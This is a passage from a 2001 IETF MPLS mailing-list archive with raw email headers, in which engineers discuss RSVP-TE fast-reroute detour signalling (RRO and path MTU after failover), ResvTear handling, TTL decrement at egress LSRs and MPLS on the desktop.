> > > > door open for service providers to configure their egress
> > > > LSRs to decrement
> > > > by more than 1.
> > >
> > > When a provider decides to decrement more than 1, it means
> > that the provider is willing to store customers' TTL policy
> > (decrement value). In that case he might store the Diffserv
> > policy (PHB<=>EXP) as well and therefore use the short pipe.
> > >
> > > >In (C), the service providers egress LSR *is* doing
> > > > deterministic (customer independent) TTL processing.
> > >
> > > Anything which is configurable can't be deterministic
> > unless either signaled or written in the SLA. The signaling
> > is not desirable, and writing it in SLA, means that it can't
> > be changed quickly, which defeats the purpose of subtracting
> > more than one.
> > >
> > > Yours,
> > > -Shahram
> >
> > --
> > Eric Gray (mailto:eric.gray@sandburst.com)
> > http://www.mindspring.com/~ewgray
> >
> >
> >

--
Eric Gray (mailto:eric.gray@sandburst.com)
http://www.mindspring.com/~ewgray





From owner-mpls@UU.NET  Fri Oct 12 14:32:20 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA06253
	for <mpls-archive@lists.ietf.org>; Fri, 12 Oct 2001 14:32:15 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlklm18893;
	Fri, 12 Oct 2001 18:30:30 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkll24034
	for mpls-outgoing; Fri, 12 Oct 2001 18:29:56 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkll24026
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 18:29:53 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkll28092
	for <mpls@UU.NET>; Fri, 12 Oct 2001 18:28:12 GMT
From: francis.arts@alcatel.be
Received: from relay1.alcatel.be by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alc119.alcatel.be [195.207.101.119])
	id QQlkll19720
	for <mpls@UU.NET>; Fri, 12 Oct 2001 18:28:03 GMT
Received: from Bemail06.net.alcatel.be (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id f9CIREW12188;
	Fri, 12 Oct 2001 20:27:23 +0200 (MET DST)
To: Arthi Ayyangar <ayyangar@apollo.mctr.umbc.edu>
Cc: Alia Atlas <aatlas@avici.com>, mpls@UU.NET
Subject: Re: draft-gan-fast-reroute
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OFEE7B4E93.11853F78-ONC1256AE3.0064C065@net.alcatel.be>
Date: Fri, 12 Oct 2001 20:27:11 +0200
X-MIMETrack: Serialize by Router on BEMAIL06/BE/ALCATEL(Release 5.0.8 |June 18, 2001) at
 10/12/2001 20:27:22,
	Serialize complete at 10/12/2001 20:27:22
MIME-Version: 1.0
Content-Type: multipart/related; boundary="=_related 00655C5DC1256AE3_="
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multipart message in MIME format.
--=_related 00655C5DC1256AE3_=
Content-Type: multipart/alternative; boundary="=_alternative 00655C5DC1256AE3_="


--=_alternative 00655C5DC1256AE3_=
Content-Type: text/plain; charset="us-ascii"

Hi Arthi,

I agree that the approach you suggest, works and is a possible way of 
organising the control plane. However, I do not think that it is mandatory 
to enforce a relation between the contents of the RESV of the detour [node 
2 - node 4] and the RESV of the main LSP on link [node 2 - node 1]. After 
all, it is possible to keep refreshing the RESV of the main LSP on link 
[node 2 - node 1] with the contents the RESV had before the link [node 2 - 
node 3] failed. Doing this, implies that the changes of the detour's RESV 
message contents (e.g. its RRO) would not be propagated upstream in the 
RESV of the main LSP towards node 1.

Best regards,

        Francis.

---------------------------






To:
Francis ARTS/BE/ALCATEL@ALCATEL
cc:
Alia Atlas <aatlas@avici.com>, mpls@UU.NET


Subject:
Re: draft-gan-fast-reroute



Hi,

That para also says that "When it receives Resv, ResvTear and PathErr
messages from the downstream detour destination, the messages MUST not be
forwarded upstream."

But all this holds only when both the primary path and the detour are
active. Once the primary path is gone because of that link going down, you
would have to send the Resv coming along the detour path upstream,
otherwise how are you going to maintain the LSP up on the detour?
Which is why the RRO is also going to change!

thanks,
-arthi

Arthi, Alias,

* When reading the gan-draft, I assumed that node 2 would send [@(2-1),
@(3-2), @(4-3), @(egress-4)]. I deduced this from the statement on p.10
(2nd paragraph) of the draft saying that <<the branching node MUST not mix
the messages for the main and the detour LSP's>>.


* A similar question as for the RRO shows up for the path MTU: Which path
MTU does node 2 send in the RESV to node 1 after the detour [node 2 - node
4] has taken over: The path MTU of [node 1 - node 2 - node 3 - node 4 -
egress] or the path MTU of [node 1 - node 2 - detour (node 2, node 4) -
egress]?

In order to avoid fragmentation in the middle of the lsp, it is preferable
to pass the path MTU of [node 1 - node 2 - detour (node 2, node 4) -
egress].



In order to answer all these questions (and new similar questions that may
show up), we need to look at the general question: How do the signalling
contexts of the main LSP and the detour LSP interact once the detour LSP
has taken over?

Regards,

        Francis.

-------------------

To:
Arthi Ayyangar <ayyangar@apollo.mctr.umbc.edu>
cc:
Francis ARTS/BE/ALCATEL@ALCATEL, mpls@UU.NET


Subject:
Re: draft-gan-fast-reroute



At 06:40 PM 10/11/01 -0400, Arthi Ayyangar wrote:
>Hi,
>
>>
>> I have a question on the RRO handling in <draft-gan-fast-reroute>.
>>
>>        Node1 ====> Node2 ======> Node3 =====> Node4 ======> Egress
>>                       v                       ^
>>                       |                       |
>>                       +-----------------------+
>>
>> Notation: @(3-2) == IP address of node 3 on the link [node 3 - node 2].
>>
>> Assume that the link between node 2 and node 3 fails. Then the detour
>> [node 2 - node 4] is taking over. But what does node 2 then send in the
>> RRO object of the RESV message to node 1: Does node 2 continue to send
>> [@(2-1), @(3-2), @(4-3), @(egress-4)] or does node 2 send [@(2-1),
>> @(detour between 4-2), @(egress-4)] or ...?
>>
>---> It would send , [@(2-1), @(detour between 4-2), @(egress-4)]
>as the RRO in the Resv once the detour has taken over.

No, the RRO in the RESV for the Primary LSP would not change.  Node 2
would
continue to send the same RRO as before the failure.

If you look at lsp-tunnel-09.txt, there is a "local protection in-use"
flag
which could be set in the IPv4 subobject of the RRO, but the
implementation
of draft-gan with which I am familiar doesn't do this.

Alia






--=_alternative 00655C5DC1256AE3_=
Content-Type: text/html; charset="us-ascii"


<br><font size=2 face="sans-serif">Hi Arthi,</font>
<br>
<br><font size=2 face="sans-serif">I agree that the approach you suggest, works and is a possible way of organising the control plane. However, I do not think that it is mandatory to enforce a relation between the contents of the RESV of the detour [node 2 - node 4] and the RESV of the main LSP on link [node 2 - node 1]. After all, it is possible to keep refreshing the RESV of the main LSP on link [node 2 - node 1] with the contents the RESV had before the link [node 2 - node 3] failed. Doing this, implies that the changes of the detour's RESV message contents (e.g. its RRO) would not be propagated upstream in the RESV of the main LSP towards node 1.</font>
<br>
<br><font size=2 face="sans-serif">Best regards,</font>
<br>
<br><font size=2 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; Francis.</font>
<br>
<br><font size=2 face="sans-serif">---------------------------</font>
<br>
<br>
<br>
<br>
<table>
<tr valign=top>
<td>
<td>
<tr valign=top>
<td><font size=1 color=#800080 face="sans-serif">To:</font>
<td><font size=1 face="sans-serif">Francis ARTS/BE/ALCATEL@ALCATEL</font>
<tr valign=top>
<td><font size=1 color=#800080 face="sans-serif">cc:</font>
<td><font size=1 face="sans-serif">Alia Atlas &lt;aatlas@avici.com&gt;, mpls@UU.NET</font>
<tr valign=top>
<td>
<td>
<tr valign=top>
<td><font size=1 color=#800080 face="sans-serif">Subject:</font>
<td><font size=1 face="sans-serif">Re: draft-gan-fast-reroute</font></table>
<br>
<br>
<br><img src=cid:_1_3BF00000262C00655C5DC1256AE3>
<br><font size=1><tt>Hi,<br>
</tt></font>
<br><font size=1><tt>That para also says that &quot;When it receives Resv, ResvTear and PathErr<br>
messages from the downstream detour destination, the messages MUST not be<br>
forwarded upstream.&quot;<br>
</tt></font>
<br><font size=1><tt>But all this holds only when both the primary path and the detour are<br>
active. Once the primary path is gone because of that link going down, you<br>
would have to send the Resv coming along the detour path upstream,<br>
otherwise how are you going to maintain the LSP up on the detour?<br>
Which is why the RRO is also going to change!<br>
</tt></font>
<br><font size=1><tt>thanks,<br>
-arthi<br>
</tt></font>
<br><font size=1><tt>Arthi, Alias,<br>
</tt></font>
<br><font size=1><tt>* When reading the gan-draft, I assumed that node 2 would send [@(2-1),<br>
@(3-2), @(4-3), @(egress-4)]. I deduced this from the statement on p.10<br>
(2nd paragraph) of the draft saying that &lt;&lt;the branching node MUST not mix<br>
the messages for the main and the detour LSP's&gt;&gt;.<br>
</tt></font>
<br>
<br><font size=1><tt>* A similar question as for the RRO shows up for the path MTU: Which path<br>
MTU does node 2 send in the RESV to node 1 after the detour [node 2 - node<br>
4] has taken over: The path MTU of [node 1 - node 2 - node 3 - node 4 -<br>
egress] or the path MTU of [node 1 - node 2 - detour (node 2, node 4) -<br>
egress]?<br>
</tt></font>
<br><font size=1><tt>In order to avoid fragmentation in the middle of the lsp, it is preferable<br>
to pass the path MTU of [node 1 - node 2 - detour (node 2, node 4) -<br>
egress].<br>
</tt></font>
<br>
<br>
<br><font size=1><tt>In order to answer all these questions (and new similar questions that may<br>
show up), we need to look at the general question: How do the signalling<br>
contexts of the main LSP and the detour LSP interact once the detour LSP<br>
has taken over?<br>
</tt></font>
<br><font size=1><tt>Regards,<br>
</tt></font>
<br><font size=1><tt>&nbsp; &nbsp; &nbsp; &nbsp; Francis.<br>
</tt></font>
<br><font size=1><tt>-------------------<br>
</tt></font>
<br><font size=1><tt>To:<br>
Arthi Ayyangar &lt;ayyangar@apollo.mctr.umbc.edu&gt;<br>
cc:<br>
Francis ARTS/BE/ALCATEL@ALCATEL, mpls@UU.NET<br>
</tt></font>
<br>
<br><font size=1><tt>Subject:<br>
Re: draft-gan-fast-reroute<br>
</tt></font>
<br>
<br>
<br><font size=1><tt>At 06:40 PM 10/11/01 -0400, Arthi Ayyangar wrote:<br>
&gt;Hi,<br>
&gt;<br>
&gt;&gt;<br>
&gt;&gt; I have a question on the RRO handling in &lt;draft-gan-fast-reroute&gt;.<br>
&gt;&gt;<br>
&gt;&gt; &nbsp; &nbsp; &nbsp; &nbsp;Node1 ====&gt; Node2 ======&gt; Node3 =====&gt; Node4 ======&gt; Egress<br>
&gt;&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ^<br>
&gt;&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br>
&gt;&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; +-----------------------+<br>
&gt;&gt;<br>
&gt;&gt; Notation: @(3-2) == IP address of node 3 on the link [node 3 - node 2].<br>
&gt;&gt;<br>
&gt;&gt; Assume that the link between node 2 and node 3 fails. Then the detour<br>
&gt;&gt; [node 2 - node 4] is taking over. But what does node 2 then send in the<br>
&gt;&gt; RRO object of the RESV message to node 1: Does node 2 continue to send<br>
&gt;&gt; [@(2-1), @(3-2), @(4-3), @(egress-4)] or does node 2 send [@(2-1),<br>
&gt;&gt; @(detour between 4-2), @(egress-4)] or ...?<br>
&gt;&gt;<br>
&gt;---&gt; It would send , [@(2-1), @(detour between 4-2), @(egress-4)]<br>
&gt;as the RRO in the Resv once the detour has taken over.<br>
</tt></font>
<br><font size=1><tt>No, the RRO in the RESV for the Primary LSP would not change. &nbsp;Node 2<br>
would<br>
continue to send the same RRO as before the failure.<br>
</tt></font>
<br><font size=1><tt>If you look at lsp-tunnel-09.txt, there is a &quot;local protection in-use&quot;<br>
flag<br>
which could be set in the IPv4 subobject of the RRO, but the<br>
implementation<br>
of draft-gan with which I am familiar doesn't do this.<br>
</tt></font>
<br><font size=1><tt>Alia<br>
</tt></font>
<br>
<br>
<br>
<br>
<br>
--=_alternative 00655C5DC1256AE3_=--
--=_related 00655C5DC1256AE3_=
Content-Type: image/gif
Content-ID: <_1_3BF00000262C00655C5DC1256AE3>
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: base64

R0lGODlhOQIEAIAAAAAAAAAAACwAAAAAOQIEAEAC/06Oqct9QYP/+vfu7MUIABJ4LhnKeS/2X8jS
peyGdGqXIAzbdT3UxBCT1WzB4uyLaiiUyknlktl0AKQQAGSFA14AIIABCIViABeABigACACj/N2m
AxQCLukbzsvKAEwaT7JUVgYHJUcjU2bGVnswAHAAYHIFkDAzRTNVM2UzhTMVcxmzGXMD+hmTMyUT
s3o5MPD/WiEBAOEB4JDH1lTW9vY4ASBLC1DrcRuidtf7C/BI/K8bUKAMwOz7JrAdbQHg7UHxlwAA
JYP2leRm9vY8PPtvEFaNG32Mix8WAicPIGyfL18AKwg8TJgg66ATDU+6IRDggQ6DCdLYeDhlMSAA
iCMC/PyjBoBFAGR5IjJhQgPMtXsaW7p8CTOmTHzNVgG4toDAAAA7
--=_related 00655C5DC1256AE3_=--


From owner-mpls@UU.NET  Fri Oct 12 14:34:14 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA06339
	for <mpls-archive@lists.ietf.org>; Fri, 12 Oct 2001 14:34:14 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlklm04595;
	Fri, 12 Oct 2001 18:32:37 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlklm24262
	for mpls-outgoing; Fri, 12 Oct 2001 18:31:57 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlklm24252
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 18:31:53 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlklm29471
	for <mpls@UU.NET>; Fri, 12 Oct 2001 18:31:42 GMT
Received: from tenornetworks.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: rtu.tenornetworks.com [63.77.213.2])
	id QQlklm03201
	for <mpls@UU.NET>; Fri, 12 Oct 2001 18:31:57 GMT
Received: from tenornet.com (newman [192.168.0.185])
	by tenornetworks.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id f9CIVV000996;
	Fri, 12 Oct 2001 14:31:32 -0400 (EDT)
Received: from 192.168.0.185
          by tenornet.com;
          FRI, 12 Oct 2001 14:32:02 -0700
Received: by newman.tenornet.com with Internet Mail Service (5.5.2650.21)
	id <SY29Q7T1>; Fri, 12 Oct 2001 14:32:01 -0400
Message-ID: <6B190B34070BD411ACA000B0D0214E5659A283@newman.tenornet.com>
From: "Arvind, K" <arvind@tenornetworks.com>
To: David Charlap <David.Charlap@marconi.com>
Cc: mpls@UU.NET, "'Eric Gray'" <eric.gray@sandburst.com>
Subject: RE: resvtear msg
Date: Fri, 12 Oct 2001 14:31:56 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

>David Charlap wrote
> ...
> ...
> It is perfectly legal (and not unusual in classical RSVP) for an egress
> node to delete a reservation and later re-establish it with different
> parameters.

In sender-initiated TE-RSVP, how common is it for an egress node to delete a
reservation and later re-establish it with different parameters? Why not
just clear both the path and resv state when a ResvTear is received (in
addition to propagating the ResvTear upstream) in a TE-RSVP implementation,
instead of continuing to hold onto the Path state in anticipation of a
PathTear?

Regards,
Arvind.




> -----Original Message-----
> From:	Eric Gray [SMTP:eric.gray@sandburst.com]
> Sent:	Thursday, October 11, 2001 7:15 PM
> To:	David Charlap
> Cc:	mpls@UU.NET
> Subject:	Re: resvtear msg
> 
> Hariom,
> 
>     David is correct, though there is another way to look at it: sending a
> PathTear message at an intermediate node would be a waste of time
> since the sender will continue to send Path messages and intermediate
> nodes will then be required to forward them.  A subsequent Path message
> will simply re-establish the Path state deleted as a result of an earlier
> PathTear message.  It doesn't really matter whether the Path message
> is a result of a refresh by the intermediate node, or the result of
> 'passing
> on' a Path message from the sender.
> 
> David Charlap wrote:
> 
> > Hariom P wrote:
> > >
> > > Why can't every hop that processes resvtear do the following,
> > > 1. Del matching reserv state and forward resvtear if required to the
> > >    prevhop
> >
> > It should always send a ResvTear after deleting the corresponding
> > state.  If the state is not present on the previous-hop router, then
> > that router will ignore the message.  It is unreasonable to expect a
> > router to know with certainty what the adjacent routers' states are.
> >
> > If you send a ResvTear when the neighbor has no state, it's not a big
> > deal - the message will just be ignored.  If, however, you do not send a
> > ResvTear when you should have, the neighbor's Resv state will not go
> > away until it times out.  Depending on how the routers are configured,
> > this could be quite a long time.
> >
> > > 2. And send a pathtear to the nexthop
> >
> > This is wrong.  Path state should not be deleted when Resv state is
> > deleted.  It must remain established, and the node must continue
> > refreshing it.
> >
> > It is perfectly legal (and not unusual in classical RSVP) for an egress
> > node to delete a reservation and later re-establish it with different
> > parameters.
> >
> > Don't think of RSVP as a variation on LDP.  It is not.  A Path message
> > is not just a request for a label.  It establishes state in and of
> > itself.  It is not something that can be causally discarded simply
> > because some corresponding Resv state has been destroyed.
> >
> > -- David
> 
> --
> Eric Gray (mailto:eric.gray@sandburst.com)
> http://www.mindspring.com/~ewgray
> 
> 
> 



From owner-mpls@UU.NET  Fri Oct 12 14:50:47 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA06837
	for <mpls-archive@lists.ietf.org>; Fri, 12 Oct 2001 14:50:47 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkln00207;
	Fri, 12 Oct 2001 18:49:34 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkln25823
	for mpls-outgoing; Fri, 12 Oct 2001 18:49:10 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkln25818
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 18:49:02 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkln24913
	for <mpls@UU.NET>; Fri, 12 Oct 2001 18:48:56 GMT
Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlkln08648
	for <mpls@UU.NET>; Fri, 12 Oct 2001 18:49:11 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id OAA12422
	for <mpls@UU.NET>; Fri, 12 Oct 2001 14:48:54 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id OAA05752
	for <mpls@UU.NET>; Fri, 12 Oct 2001 14:48:55 -0400 (EDT)
Message-ID: <3BC73B36.BF65E321@marconi.com>
Date: Fri, 12 Oct 2001 14:49:26 -0400
From: David Charlap <David.Charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: router architecture for MPLS
References: <Pine.SUN.3.96.1011012133920.26734A-100000@grex.cyberspace.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

"Hemant P. Kelkar" wrote:
> 
> Isn't the situation like ATM to desktop?

Same concept.  Similar obstacles to adoption (requirement for switches
where hubs once were, price per switch-port).  But with one advantage: a
proprietary NIC isn't required - MPLS can run over cheap $10 Ethernet
cards, if the correct software is in place.

Personally, I don't think it will happen, because 100M Ethernet with
layer-2 switches is enough to cover most people's desktop requirements. 
But this is an economic reason, not a technical one.

-- David


From owner-mpls@UU.NET  Fri Oct 12 15:13:47 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA07416
	for <mpls-archive@lists.ietf.org>; Fri, 12 Oct 2001 15:13:47 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlklo14055;
	Fri, 12 Oct 2001 19:09:13 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlklo16012
	for mpls-outgoing; Fri, 12 Oct 2001 19:08:36 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlklo15914
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 19:08:32 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlklo26745
	for <mpls@UU.NET>; Fri, 12 Oct 2001 19:07:59 GMT
Received: from yarilo.pluris.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: yarilo.pluris.com [208.227.9.200])
	id QQlklo11905
	for <mpls@UU.NET>; Fri, 12 Oct 2001 19:08:13 GMT
Received: from avalon.pluris.com (avalon.pluris.com [172.16.50.49])
	by yarilo.pluris.com (8.9.2/8.9.1) with ESMTP id LAA12479;
	Fri, 12 Oct 2001 11:54:26 -0700 (PDT)
Received: by avalon.pluris.com with Internet Mail Service (5.5.2653.19)
	id <4WXWTNT5>; Fri, 12 Oct 2001 11:54:26 -0700
Message-ID: <17C81AD1F1FED411991E006008F6D1CA013D46A1@avalon.pluris.com>
From: Sundara Murugan <sundar@pluris.com>
To: "'Arthi Ayyangar '" <ayyangar@apollo.mctr.umbc.edu>,
        "'francis.arts@alcatel.be '" <francis.arts@alcatel.be>
Cc: "'Alia Atlas '" <aatlas@avici.com>, "'mpls@UU.NET '" <mpls@UU.NET>
Subject: RE: draft-gan-fast-reroute
Date: Fri, 12 Oct 2001 11:54:26 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

 
When establishing the detour LSP, the MTU size must not be lower than its
main LSP. The Main LSP's MTU is specified in the RESV flow spec.

When the main LSP traffic is diverted to the detour LSP, there is no need
for fragmentation. Also, the main lsp will update its RESV RRO "local
protection in-use" flag and send it to the headend.

This informs the headend that it has to recompute the path for the main lsp
and reestablish it.

The failed main LSP will not get any RESV refresh from the nhop. When its
refresh timesout the transit router will send PATHERR to the headend and
that takes down the main as well as the detour LSP.

-sundara

-----Original Message-----
From: Arthi Ayyangar
To: francis.arts@alcatel.be
Cc: Alia Atlas; mpls@UU.NET
Sent: 10/12/01 9:23 AM
Subject: Re: draft-gan-fast-reroute

Hi,

That para also says that "When it receives Resv, ResvTear and PathErr
messages from the downstream detour destination, the messages MUST not
be
forwarded upstream."

But all this holds only when both the primary path and the detour are
active. Once the primary path is gone because of that link going down,
you
would have to send the Resv coming along the detour path upstream,
otherwise how are you going to maintain the LSP up on the detour?
Which is why the RRO is also going to change!

thanks,
-arthi

Arthi, Alias,

* When reading the gan-draft, I assumed that node 2 would send [@(2-1),
@(3-2), @(4-3), @(egress-4)]. I deduced this from the statement on p.10
(2nd paragraph) of the draft saying that <<the branching node MUST not
mix
the messages for the main and the detour LSP's>>. 


* A similar question as for the RRO shows up for the path MTU: Which
path 
MTU does node 2 send in the RESV to node 1 after the detour [node 2 -
node 
4] has taken over: The path MTU of [node 1 - node 2 - node 3 - node 4 - 
egress] or the path MTU of [node 1 - node 2 - detour (node 2, node 4) - 
egress]?

In order to avoid fragmentation in the middle of the lsp, it is
preferable 
to pass the path MTU of [node 1 - node 2 - detour (node 2, node 4) - 
egress].



In order to answer all these questions (and new similar questions that
may 
show up), we need to look at the general question: How do the signalling

contexts of the main LSP and the detour LSP interact once the detour LSP

has taken over?

Regards,

        Francis.

-------------------

To:
Arthi Ayyangar <ayyangar@apollo.mctr.umbc.edu>
cc:
Francis ARTS/BE/ALCATEL@ALCATEL, mpls@UU.NET


Subject:
Re: draft-gan-fast-reroute



At 06:40 PM 10/11/01 -0400, Arthi Ayyangar wrote:
>Hi,
>
>>
>> I have a question on the RRO handling in <draft-gan-fast-reroute>.
>>
>>        Node1 ====> Node2 ======> Node3 =====> Node4 ======> Egress
>>                       v                       ^
>>                       |                       |
>>                       +-----------------------+
>>
>> Notation: @(3-2) == IP address of node 3 on the link [node 3 - node
2].
>>
>> Assume that the link between node 2 and node 3 fails. Then the detour
>> [node 2 - node 4] is taking over. But what does node 2 then send in
the
>> RRO object of the RESV message to node 1: Does node 2 continue to
send
>> [@(2-1), @(3-2), @(4-3), @(egress-4)] or does node 2 send [@(2-1),
>> @(detour between 4-2), @(egress-4)] or ...?
>>
>---> It would send , [@(2-1), @(detour between 4-2), @(egress-4)]
>as the RRO in the Resv once the detour has taken over.

No, the RRO in the RESV for the Primary LSP would not change.  Node 2 
would
continue to send the same RRO as before the failure.

If you look at lsp-tunnel-09.txt, there is a "local protection in-use" 
flag
which could be set in the IPv4 subobject of the RRO, but the 
implementation
of draft-gan with which I am familiar doesn't do this.

Alia





From owner-mpls@UU.NET  Fri Oct 12 16:19:22 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA08787
	for <mpls-archive@lists.ietf.org>; Fri, 12 Oct 2001 16:19:21 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkls15729;
	Fri, 12 Oct 2001 20:14:40 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkls10216
	for mpls-outgoing; Fri, 12 Oct 2001 20:13:55 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkls10209
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 12 Oct 2001 20:13:53 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkls10901
	for <mpls@UU.NET>; Fri, 12 Oct 2001 20:13:32 GMT
Received: from zcars0m9.nortelnetworks.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: zcars0m9.nortelnetworks.com [47.129.242.157])
	id QQlkls25484
	for <mpls@UU.NET>; Fri, 12 Oct 2001 20:13:47 GMT
Received: from zcars04e.ca.nortel.com (zcars04e.ca.nortel.com [47.129.242.56])
	by zcars0m9.nortelnetworks.com (8.11.0/8.11.0) with ESMTP id f9CKCvS12190
	for <mpls@UU.NET>; Fri, 12 Oct 2001 16:12:57 -0400 (EDT)
Received: from zcard015.ca.nortel.com (actually zcard015) 
          by zcars04e.ca.nortel.com; Fri, 12 Oct 2001 16:13:17 -0400
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2653.19) 
          id <4SX6SCF6>; Fri, 12 Oct 2001 16:12:59 -0400
Message-ID: <3549C09B853DD5119B540002A52CDD345A04BB@zcard0ka.ca.nortel.com>
From: "David Allan" <dallan@nortelnetworks.com>
To: Sundara Murugan <sundar@pluris.com>,
        "'Arthi Ayyangar '" <ayyangar@apollo.mctr.umbc.edu>,
        "'francis.arts@alcatel.be '" <francis.arts@alcatel.be>
Cc: "'Alia Atlas '" <aatlas@avici.com>, "'mpls@UU.NET '" <mpls@UU.NET>
Subject: RE: draft-gan-fast-reroute
Date: Fri, 12 Oct 2001 16:12:34 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C1535A.3B18FD20"
X-Orig: <dallan@americasm01.nt.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C1535A.3B18FD20
Content-Type: text/plain;
